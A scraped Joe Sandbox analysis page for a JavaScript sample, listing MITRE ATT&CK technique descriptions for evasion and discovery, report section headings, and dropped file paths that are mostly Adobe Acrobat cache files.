Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 23614810137024152.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e282820e-2162-4fa1-b779-9ec17eaabc7b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7016

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
23614810137024152.js